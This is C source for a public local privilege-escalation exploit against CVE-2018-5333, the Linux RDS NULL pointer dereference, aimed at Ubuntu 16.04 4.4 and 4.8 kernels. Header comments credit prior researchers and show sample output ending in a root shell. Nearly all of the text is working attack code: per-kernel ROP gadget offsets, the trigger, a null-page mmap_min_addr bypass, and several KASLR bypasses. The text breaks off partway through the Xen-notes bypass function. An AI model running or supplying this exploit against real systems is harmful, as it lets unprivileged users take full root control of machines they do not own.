// Local root exploit for Linux RDS rds_atomic_free_op NULL pointer dereference // in the rds kernel module in the Linux kernel through 4.14.13 (CVE-2018-5333). // // Includes KASLR, SMEP, and mmap_min_addr bypasses. No SMAP bypass. // // Targets: // - Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116 // - Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54 // // The rds kernel module is not loaded by default on Ubuntu, and is blacklisted // in /etc/modprobe.d/blacklist-rare-network.conf to prevent autoloading. // - install: sudo apt install "linux-image-extra-$(uname -r)-generic" // - load: sudo insmod "/lib/modules/$(uname -r)/kernel/net/rds/rds.ko" // // This exploit is a modified extension of the original local root // proof of concept exploit written by wbowling as an example of using // CVE-2019-9213 to make previous kernel bugs exploitable: // - https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4 // // The original exploit is based on the null pointer dereference // reproducer proof of concept and analysis by 0x36: // - https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c // // wbowling has done most of the hard work, by utilising Jann Horn's // mmap_min_addr bypass technique (CVE-2019-9213), allowing userland to mmap // virtual address 0 (without which this bug would not be exploitable on // systems with a sufficiently large value for vm.mmap_min_addr); // and developing the appropriate ROP chain. // - https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2 // // This exploit adds offsets for additional kernels, and introduces some // additional features, such as KASLR bypasses and system checks, including: // - check if system supports SMAP // - check if system supports RDS sockets // - Jann Horn's mincore KASLR bypass via heap page disclosure (CVE-2017-16994) // - https://bugs.chromium.org/p/project-zero/issues/detail?id=1431 // - spender's /proc/kallsyms KASLR bypass (requires kernel.kptr_restrict=0) // - https://grsecurity.net/~spender/exploits/exploit.txt // - xairy's syslog KASLR bypass (requires kernel.dmesg_restrict=0) // - https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c // - lizzie's perf_event_open KASLR bypass (requires kernel.perf_event_paranoid<2) // - https://blog.lizzie.io/kaslr-and-perf.html // - p1k4l4's kernel ELF notes Xen entry KASLR bypass // - https://github.com/Nassim-Asrir/ZDI-24-020/blob/a267e27f5868a975e767794cf77b3092acff4a26/exploit.c#L421 // // Shoutout to nstarke for adding additional kernel offsets. // - https://github.com/bcoles/kernel-exploits/pulls?q=author:nstarke+cve-2018-5333 // // This exploit also uses various code patterns copied from: // - xairy's exploits: // - https://github.com/xairy/kernel-exploits // - vnik's kernel ROP code: // - https://github.com/vnik5287/kernel_rop // --- // $ gcc cve-2018-5333.c -o cve-2018-5333 -Wall // $ ./cve-2018-5333 // Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333) // [.] checking kernel version... // [.] kernel version '4.4.0-116-generic #140-Ubuntu' detected // [~] done, version looks good // [.] checking system... // [~] done, looks good // [.] mapping null address... // [~] done, mapped null address // [.] KASLR bypass enabled, getting kernel base address // [.] trying /proc/kallsyms... // [-] kernel base not found in /proc/kallsyms // [.] trying syslog... // [-] kernel base not found in syslog // [.] trying perf_event_open sampling... // [.] done, kernel text: ffffffff9f000000 // [.] commit_creds: ffffffff9f0a4cf0 // [.] prepare_kernel_cred: ffffffff9f0a50e0 // [.] mmapping fake stack... // [~] done, fake stack mmapped // [.] executing payload 0x402119... // [+] got root // # id // uid=0(root) gid=0(root) groups=0(root) // --- // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-5333 // #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define DEBUG #ifdef DEBUG # define dprintf printf #else # define dprintf #endif #define ENABLE_SYSTEM_CHECKS 1 #define ENABLE_KASLR_BYPASS 1 #if ENABLE_KASLR_BYPASS # define KERNEL_BASE_MIN 0xffffffff00000000ul # define KERNEL_BASE_MAX 0xffffffffff000000ul # define ENABLE_KASLR_BYPASS_KALLSYMS 1 # define ENABLE_KASLR_BYPASS_SYSLOG 1 # define ENABLE_KASLR_BYPASS_PERF 1 # define ENABLE_KASLR_BYPASS_XEN_ENTRY 1 # define ENABLE_KASLR_BYPASS_MINCORE 1 #endif // Can be overwritten by argv[1] char *SHELL = "/bin/sh"; // Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1) unsigned long KERNEL_BASE = 0xffffffff81000000ul; // Will be overwritten by detect_versions(). int kernel = -1; // kernel target struct, using ROP chain from wbowling's exploit struct kernel_info { const char* kernel_version; uint64_t commit_creds; uint64_t prepare_kernel_cred; uint64_t xor_rdi; //: xor edi, edi ; ret uint64_t mov_rdi_rax; //: mov rdi, rax ; pop rbx ; mov rax, rdi ; pop r12 ; pop rbp ; ret uint64_t xchg_esp; //: xchg eax, esp ; shr bl, 0xbf ; xor eax, eax ; pop rbp ; ret uint64_t swapgs; //: swapgs ; pop rbp ; ret uint64_t iretq; //: iretq }; // Targets struct kernel_info kernels[] = { { "4.4.0-21-generic #37-Ubuntu", 0xa21c0, 0xa25b0, 0x5d0c5, 0x178157, 0x3f8158, 0x64644, 0x4cc7da }, { "4.4.0-22-generic #40-Ubuntu", 0xa2220, 0xa2610, 0x5d0c5, 0x178217, 0x3f89e8, 0x64644, 0x7d005 }, { "4.4.0-24-generic #43-Ubuntu", 0xa2340, 0xa2730, 0x5d0c5, 0x178447, 0x3f98b8, 0x64644, 0x7d125 }, { "4.4.0-28-generic #47-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x178717, 0x3f9f38, 0x64644, 0x585dc }, { "4.4.0-31-generic #50-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x1787a7, 0x3ffed8, 0x64644, 0x7d125 }, { "4.4.0-34-generic #53-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x1787a7, 0x3fff48, 0x64644, 0x7d125 }, { "4.4.0-36-generic #55-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x1787c7, 0x400148, 0x64634, 0x7d115 }, { "4.4.0-38-generic #57-Ubuntu", 0xa2570, 0xa2960, 0x5d0c5, 0x178a97, 0x400968, 0x64634, 0x7d1e5 }, { "4.4.0-42-generic #62-Ubuntu", 0xa25c0, 0xa29b0, 0x5d0c5, 0x178ac7, 0x400d78, 0x64634, 0x7d1a5 }, { "4.4.0-51-generic #72-Ubuntu", 0xa2670, 0xa2a60, 0x5d0c5, 0x178cf7, 0x404d78, 0x64634, 0x7d1a5 }, { "4.4.0-62-generic #83-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179747, 0x406a78, 0x64634, 0x7d1e5 }, { "4.4.0-63-generic #84-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb }, { "4.4.0-66-generic #87-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb }, { "4.4.0-70-generic #91-Ubuntu", 0xa27b0, 0xa2ba0, 0x5d0c5, 0x179847, 0x4070c8, 0x64664, 0x406eb }, { "4.4.0-79-generic #100-Ubuntu", 0xa2800, 0xa2bf0, 0x5d0c5, 0x179a67, 0x408338, 0x64664, 0x7d235 }, { "4.4.0-87-generic #110-Ubuntu", 0xa2860, 0xa2c50, 0x5d0c5, 0x179ca7, 0x408768, 0x64694, 0x7d285 }, { "4.4.0-89-generic #112-Ubuntu", 0xa28a0, 0xa2c90, 0x5d0c5, 0x179d27, 0x408ae8, 0x64694, 0x7d265 }, { "4.4.0-96-generic #119-Ubuntu", 0xa28c0, 0xa2cb0, 0x5d0c5, 0x179e27, 0x409a48, 0x64694, 0x7d235 }, { "4.4.0-97-generic #120-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x179e47, 0x409a58, 0x64694, 0x4ed41 }, { "4.4.0-98-generic #121-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x17a427, 0x40a138, 0x64694, 0x4b243 }, { "4.4.0-108-generic #131-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 }, { "4.4.0-109-generic #132-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 }, { "4.4.0-112-generic #135-Ubuntu", 0xa3a90, 0xa3e80, 0x5d0c5, 0x17b657, 0x40b238, 0x646a4, 0x54137c }, { "4.4.0-116-generic #140-Ubuntu", 0xa4cf0, 0xa50e0, 0x5e0c5, 0x17d5d7, 0x40ed08, 0x65734, 0x3a5b04 }, { "4.4.0-21-lowlatency #37-Ubuntu", 0xa3150, 0xa3560, 0x5e0c5, 0x17b2c7, 0x401288, 0x64d34, 0x7d95c }, { "4.4.0-22-lowlatency #40-Ubuntu", 0xa31c0, 0xa35d0, 0x5e0c5, 0x17b397, 0x401b48, 0x64d34, 0x7d9bc }, { "4.4.0-24-lowlatency #43-Ubuntu", 0xa32e0, 0xa36f0, 0x5e0c5, 0x17b5e7, 0x402958, 0x64d34, 0x7dadc }, { "4.4.0-28-lowlatency #47-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b8c7, 0x402f48, 0x64d34, 0x7dadc }, //{ "4.4.0-31-lowlatency #50-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409018, 0x64d34, 0x7dadc }, //{ "4.4.0-34-lowlatency #53-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409088, 0x64d34, 0x7dadc }, { "4.4.0-36-lowlatency #55-Ubuntu", 0xa3430, 0xa3840, 0x5e0c5, 0x17b9e7, 0x409318, 0x64d24, 0x7dacc }, { "4.4.0-38-lowlatency #57-Ubuntu", 0xa3500, 0xa3910, 0x5e0c5, 0x17bcb7, 0x409b38, 0x64d24, 0x4c030 }, { "4.4.0-42-lowlatency #62-Ubuntu", 0xa3560, 0xa3970, 0x5e0c5, 0x17bcf7, 0x409f68, 0x64d24, 0x7db6c }, { "4.4.0-70-lowlatency #91-Ubuntu", 0xa3780, 0xa3b90, 0x5e0c5, 0x17cae7, 0x4104c8, 0x64d54, 0x24454 }, { "4.4.0-79-lowlatency #100-Ubuntu", 0xa37c0, 0xa3bd0, 0x5e0c5, 0x17cd17, 0x411588, 0x64d54, 0x24454 }, { "4.4.0-87-lowlatency #110-Ubuntu", 0xa38c0, 0xa3cd0, 0x5e0c5, 0x17cfd7, 0x411ad8, 0x64d74, 0x24454 }, { "4.4.0-89-lowlatency #112-Ubuntu", 0xa38e0, 0xa3cf0, 0x5e0c5, 0x17d037, 0x411e48, 0x64d74, 0x7dc0c }, { "4.4.0-96-lowlatency #119-Ubuntu", 0xa3910, 0xa3d20, 0x5e0c5, 0x17d137, 0x412d88, 0x64d84, 0x24454 }, { "4.4.0-97-lowlatency #120-Ubuntu", 0xa38c0, 0xa3cd0, 0x5e0c5, 0x17d157, 0x412d28, 0x64d84, 0x24454 }, { "4.4.0-98-lowlatency #121-Ubuntu", 0xa38c0, 0xa3cd0, 0x5e0c5, 0x17d737, 0x413408, 0x64d84, 0x24454 }, { "4.4.0-108-lowlatency #131-Ubuntu", 0xa5530, 0xa5940, 0x5f0c5, 0x17f257, 0x414c18, 0x65d94, 0x7f7ac }, { "4.4.0-109-lowlatency #132-Ubuntu", 0xa5530, 0xa5940, 0x5f0c5, 0x17f257, 0x414c18, 0x65d94, 0x7f7ac }, { "4.4.0-112-lowlatency #135-Ubuntu", 0xa5bd0, 0xa5fe0, 0x5f0c5, 0x17f9a7, 0x415448, 0x65d94, 0x7f8dc }, { "4.4.0-116-lowlatency #140-Ubuntu", 0xa6e00, 0xa7210, 0x600c5, 0x1818f7, 0x418a38, 0x66de4, 0x809ef }, { "4.8.0-34-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b }, { "4.8.0-36-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b }, { "4.8.0-39-generic #42~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b }, { "4.8.0-41-generic #44~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b }, { "4.8.0-42-generic #45~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dea8, 0x642f4, 0x5c4f3 }, { "4.8.0-44-generic #47~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b }, { "4.8.0-45-generic #48~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b }, { "4.8.0-46-generic #49~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b }, { "4.8.0-49-generic #52~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b }, { "4.8.0-51-generic #54~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b }, { "4.8.0-52-generic #55~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b }, { "4.8.0-53-generic #56~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b }, { "4.8.0-54-generic #57~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b }, //{ "4.8.0-56-generic #61~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e278, 0x642f4, 0x7ed3b }, //{ "4.8.0-58-generic #63~16.04.1-Ubuntu", 0xa5d20, 0xa6110, 0x5d0c5, 0x187797, 0x43dfa8, 0x642f4, 0x7ed5b }, { "4.8.0-34-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 }, { "4.8.0-36-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 }, //{ "4.8.0-39-lowlatency #42~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 }, { "4.8.0-41-lowlatency #44~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 }, { "4.8.0-42-lowlatency #45~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447428, 0x649f4, 0x4b3e3 }, { "4.8.0-44-lowlatency #47~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 }, { "4.8.0-45-lowlatency #48~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 }, { "4.8.0-46-lowlatency #49~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 }, { "4.8.0-49-lowlatency #52~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 }, { "4.8.0-51-lowlatency #54~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 }, { "4.8.0-52-lowlatency #55~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 }, { "4.8.0-53-lowlatency #56~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 }, { "4.8.0-54-lowlatency #57~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x7f912 }, //{ "4.8.0-56-lowlatency #61~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477f8, 0x649f4, 0x7f912 }, //{ "4.8.0-58-lowlatency #63~16.04.1-Ubuntu", 0xa6ef0, 0xa7300, 0x5e0c5, 0x18aee7, 0x447568, 0x649f4, 0x7f932 }, //{ "4.10.0-14-generic #16~16.04.1-Ubuntu", 0xab610, 0xaba00, 0x600c5, 0x194ac7, 0x458288, 0x67764, 0x34c4b }, //{ "4.10.0-19-generic #21~16.04.1-Ubuntu", 0xab620, 0xaba10, 0x600c5, 0x194b07, 0x4586a8, 0x67764, 0x34c4b }, //{ "4.13.0-16-generic #19~16.04.3-Ubuntu", 0xa8220, 0xa85f0, 0x5f0c5, 0x19c8a7, 0x462d18, 0x668b4, 0x2f2d4 }, //{ "4.13.0-37-generic #42~16.04.1-Ubuntu", 0xab1d0, 0xab5a0, 0x610c5, 0x1a0827, 0x46bf58, 0x68944, 0x3381b }, }; // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * // https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c #define RAND_SIZE 4096 #ifndef SOL_RDS # define SOL_RDS 276 #endif #ifndef RDS_CMSG_MASKED_ATOMIC_CSWP # define RDS_CMSG_MASKED_ATOMIC_CSWP 9 #endif #ifndef AF_RDS # define AF_RDS 0x15 #endif void trigger_bug() { struct sockaddr_in sin; struct msghdr msg; char buf[RAND_SIZE]; struct cmsghdr cmsg; memset(&sin, 0, sizeof(struct sockaddr)); memset(&msg, 0, sizeof(msg)); memset(buf, 0x40, sizeof(buf)); memset(&cmsg, 0, sizeof(cmsg)); int fd = socket(AF_RDS, 5, 0); if(fd < 0) { dprintf("[-] socket(AF_RDS): %m\n"); return; } sin.sin_family = AF_INET; sin.sin_port = htons(2000); sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK); bind(fd, (struct sockaddr*)&sin, sizeof(sin)); cmsg.cmsg_len = RAND_SIZE; cmsg.cmsg_type = RDS_CMSG_MASKED_ATOMIC_CSWP; cmsg.cmsg_level = SOL_RDS; memcpy(&buf[0], &cmsg, sizeof(cmsg)); *(uint64_t *)(buf + 0x18) = 0x40404000; /* args->local_addr */ msg.msg_name = &sin; msg.msg_namelen = sizeof(sin); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = buf; msg.msg_controllen = RAND_SIZE; msg.msg_flags = MSG_DONTROUTE|MSG_PROXY|MSG_WAITALL; syscall(SYS_sendmsg, fd, &msg, 0); } // * * * * * * * * * * * * * * map null address * * * * * * * * * * * * * // https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2 void map_null() { char *suid_path = "/bin/su"; void *map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0); if (map == MAP_FAILED) { dprintf("[-] mmap(null): %m\n"); exit(EXIT_FAILURE); } char* path = "/proc/self/mem"; int fd = open(path, O_RDWR); if (fd == -1) { dprintf("open(%s): %m\n", path); exit(EXIT_FAILURE); } unsigned long addr = (unsigned long)map; while (addr != 0) { addr -= 0x1000; if (lseek(fd, addr, SEEK_SET) == -1) { dprintf("lseek()\n"); exit(EXIT_FAILURE); } char cmd[1000]; sprintf(cmd, "LD_DEBUG=help %s 1>&%d", suid_path, fd); system(cmd); } } // * * * * * * * * * * * * * * * save state * * * * * * * * * * * * * * * // https://github.com/vnik5287/kernel_rop unsigned long user_cs, user_ss, user_rflags; static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"); } // * * * * * * * * * * * * * * SIGSEGV handler * * * * * * * * * * * * * * void handler(int signo, siginfo_t* info, void* vcontext) {} void debug_enable_sigsev_handler() { struct sigaction action; memset(&action, 0, sizeof(struct sigaction)); action.sa_flags = SA_SIGINFO; action.sa_sigaction = handler; sigaction(SIGSEGV, &action, NULL); } // * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * #define CHUNK_SIZE 1024 int read_file(const char* file, char* buffer, int max_length) { int f = open(file, O_RDONLY); if (f == -1) return -1; int bytes_read = 0; while (1) { int bytes_to_read = CHUNK_SIZE; if (bytes_to_read > max_length - bytes_read) bytes_to_read = max_length - bytes_read; int rv = read(f, &buffer[bytes_read], bytes_to_read); if (rv == -1) return -1; bytes_read += rv; if (rv == 0) return bytes_read; } } #define PROC_CPUINFO_LENGTH 4096 static int check_env() { int fd = socket(AF_RDS, 5, 0); if(fd < 0) { dprintf("[-] socket(AF_RDS): RDS kernel module not loaded?\n"); exit(EXIT_FAILURE); } char buffer[PROC_CPUINFO_LENGTH]; char* path = "/proc/cpuinfo"; int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH); if (length == -1) { dprintf("[-] open/read(%s): %m\n", path); exit(EXIT_FAILURE); } char* found = memmem(&buffer[0], length, "smap", 4); if (found != NULL) { dprintf("[-] SMAP detected, no bypass available\n"); exit(EXIT_FAILURE); } struct stat st; if (stat("/dev/grsec", &st) == 0) { dprintf("[!] Warning: grsec is in use\n"); } if (stat("/proc/sys/lkrg", &st) == 0) { dprintf("[!] Warning: lkrg is in use\n"); } return 0; } struct utsname get_kernel_version() { struct utsname u; int rv = uname(&u); if (rv != 0) { dprintf("[-] uname()\n"); exit(EXIT_FAILURE); } return u; } #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) #define KERNEL_VERSION_SIZE_BUFFER 512 void detect_versions() { struct utsname u; char kernel_version[KERNEL_VERSION_SIZE_BUFFER]; u = get_kernel_version(); if (strstr(u.machine, "64") == NULL) { dprintf("[-] system is not using a 64-bit kernel\n"); exit(EXIT_FAILURE); } if (strstr(u.version, "-Ubuntu") == NULL) { dprintf("[-] system is not using an Ubuntu kernel\n"); exit(EXIT_FAILURE); } char *u_ver = strtok(u.version, " "); snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver); int i; for (i = 0; i < ARRAY_SIZE(kernels); i++) { if (strcmp(kernel_version, kernels[i].kernel_version) == 0) { dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version); kernel = i; return; } } dprintf("[-] kernel version '%s' not recognized\n", kernel_version); exit(EXIT_FAILURE); } // * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * * // https://grsecurity.net/~spender/exploits/exploit.txt #if ENABLE_KASLR_BYPASS_KALLSYMS unsigned long get_kernel_addr_kallsyms() { FILE *f; unsigned long addr = 0; char dummy; char sname[256]; char* name = "startup_64"; char* path = "/proc/kallsyms"; dprintf("[.] trying %s...\n", path); f = fopen(path, "r"); if (f == NULL) { dprintf("[-] open/read(%s): %m\n", path); return 0; } int ret = 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); if (addr == 0) dprintf("[-] kernel base not found in %s\n", path); return addr; } } fclose(f); dprintf("[-] kernel base not found in %s\n", path); return 0; } #endif // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * // https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c #if ENABLE_KASLR_BYPASS_SYSLOG #define SYSLOG_ACTION_READ_ALL 3 #define SYSLOG_ACTION_SIZE_BUFFER 10 int mmap_syslog(char** buffer, int* size) { *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); if (*size == -1) { dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER): %m\n"); return 1; } *size = (*size / getpagesize() + 1) * getpagesize(); *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); if (*size == -1) { dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL): %m\n"); return 1; } return 0; } unsigned long get_kernel_addr_syslog_xenial(char* buffer, int size) { const char* needle1 = "Freeing unused"; char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) return 0; int start = 0; int end = 0; for (start = 0; substr[start] != '-'; start++); for (end = start; substr[end] != '\n'; end++); const char* needle2 = "ffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) return 0; char* endptr = &substr[16]; unsigned long addr = strtoul(&substr[0], &endptr, 16); addr &= 0xfffffffffff00000ul; addr -= 0x1000000ul; if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) return addr; return 0; } unsigned long get_kernel_addr_syslog() { unsigned long addr = 0; char* syslog; int size; dprintf("[.] trying syslog...\n"); if (mmap_syslog(&syslog, &size)) return 0; addr = get_kernel_addr_syslog_xenial(syslog, size); if (!addr) dprintf("[-] kernel base not found in syslog\n"); return addr; } #endif // * * * * * * * * * * * perf_event_open KASLR bypass * * * * * * * * * * * // https://blog.lizzie.io/kaslr-and-perf.html #if ENABLE_KASLR_BYPASS_PERF int perf_event_open(struct perf_event_attr *attr, pid_t pid, int cpu, int group_fd, unsigned long flags) { return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags); } unsigned long get_kernel_addr_perf() { int fd; pid_t child; dprintf("[.] trying perf_event_open sampling...\n"); child = fork(); if (child == -1) { dprintf("[-] fork() failed: %m\n"); return 0; } if (child == 0) { struct utsname self = {0}; while (1) uname(&self); return 0; } struct perf_event_attr event = { .type = PERF_TYPE_SOFTWARE, .config = PERF_COUNT_SW_TASK_CLOCK, .size = sizeof(struct perf_event_attr), .disabled = 1, .exclude_user = 1, .exclude_hv = 1, .sample_type = PERF_SAMPLE_IP, .sample_period = 10, .precise_ip = 1 }; fd = perf_event_open(&event, child, -1, -1, 0); if (fd < 0) { dprintf("[-] syscall(SYS_perf_event_open): %m\n"); if (child) kill(child, SIGKILL); if (fd > 0) close(fd); return 0; } uint64_t page_size = getpagesize(); struct perf_event_mmap_page *meta_page = NULL; meta_page = mmap(NULL, (page_size * 2), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (meta_page == MAP_FAILED) { dprintf("[-] mmap() failed: %m\n"); if (child) kill(child, SIGKILL); if (fd > 0) close(fd); return 0; } if (ioctl(fd, PERF_EVENT_IOC_ENABLE)) { dprintf("[-] ioctl failed: %m\n"); if (child) kill(child, SIGKILL); if (fd > 0) close(fd); return 0; } char *data_page = ((char *) meta_page) + page_size; size_t progress = 0; uint64_t last_head = 0; size_t num_samples = 0; unsigned long min_addr = ~0; while (num_samples < 100) { /* is reading from the meta_page racy? no idea */ while (meta_page->data_head == last_head);; last_head = meta_page->data_head; while (progress < last_head) { struct __attribute__((packed)) sample { struct perf_event_header header; uint64_t ip; } *here = (struct sample *) (data_page + progress % page_size); switch (here->header.type) { case PERF_RECORD_SAMPLE: num_samples++; if (here->header.size < sizeof(*here)) { dprintf("[-] size too small.\n"); if (child) kill(child, SIGKILL); if (fd > 0) close(fd); return 0; } uint64_t prefix; if (strstr(kernels[kernel].kernel_version, "4.8.0-")) { prefix = here->ip & ~0xfffff; } else { prefix = here->ip & ~0xffffff; } if (prefix < min_addr) min_addr = prefix; break; case PERF_RECORD_THROTTLE: case PERF_RECORD_UNTHROTTLE: case PERF_RECORD_LOST: break; default: dprintf("[-] unexpected perf event: %x\n", here->header.type); if (child) kill(child, SIGKILL); if (fd > 0) close(fd); return 0; } progress += here->header.size; } /* tell the kernel we read it. */ meta_page->data_tail = last_head; } if (child) kill(child, SIGKILL); if (fd > 0) close(fd); return min_addr; } #endif // * * * * * * * * * Kernel ELF Notes Xen Entry KASLR bypass * * * * * * * * * * // https://github.com/Nassim-Asrir/ZDI-24-020/blob/a267e27f5868a975e767794cf77b3092acff4a26/exploit.c#L421 #if ENABLE_KASLR_BYPASS_XEN_ENTRY unsigned long get_kernel_addr_xen_entry() { int fd; unsigned int namesz, descsz, type, pad; char name[256]; char desc[256]; unsigned long addr = 0; dprintf("[.] trying /sys/kernel/notes ...\n"); fd = open("/sys/kernel/notes", O_RDONLY); if (fd < 0) { dprintf("[-] open(/sys/kernel/notes): %m"); close(fd); return 0; } while (1) { if (read(fd, &namesz, sizeof namesz) != sizeof namesz) break; if (namesz == 0) continue; if (namesz > sizeof name) break; if (read(fd, &descsz, sizeof descsz) != sizeof descsz) break; if (descsz == 0) continue; if (descsz > sizeof desc) break; if (read(fd, &type, sizeof type) != sizeof type) break; if (read(fd, &name, namesz) < 0) break; if (read(fd, &desc, descsz) < 0) break; /* we're only interested in Xen pointers */ if (strcmp(name, "Xen") == 0 && type == 2 && descsz == sizeof(char *)) { addr = *(unsigned long *)&desc; // dprintf("[.] leaked hypercall_page address: %lx\n", addr); break; } pad = 4 - ((namesz + descsz) % 4); if (pad < 4) if (read(fd, &name, pad) < 0) break; } close(fd); if (!addr) { dprintf("[-] Could not find Xen address in kernel ELF notes\n"); return 0; } addr &= 0xfffffffffff00000ul; if (addr >= KERNEL_BASE_MIN && addr <= KERNEL_BASE_MAX) return addr; dprintf("[-] Invalid Xen address in ELF notes: 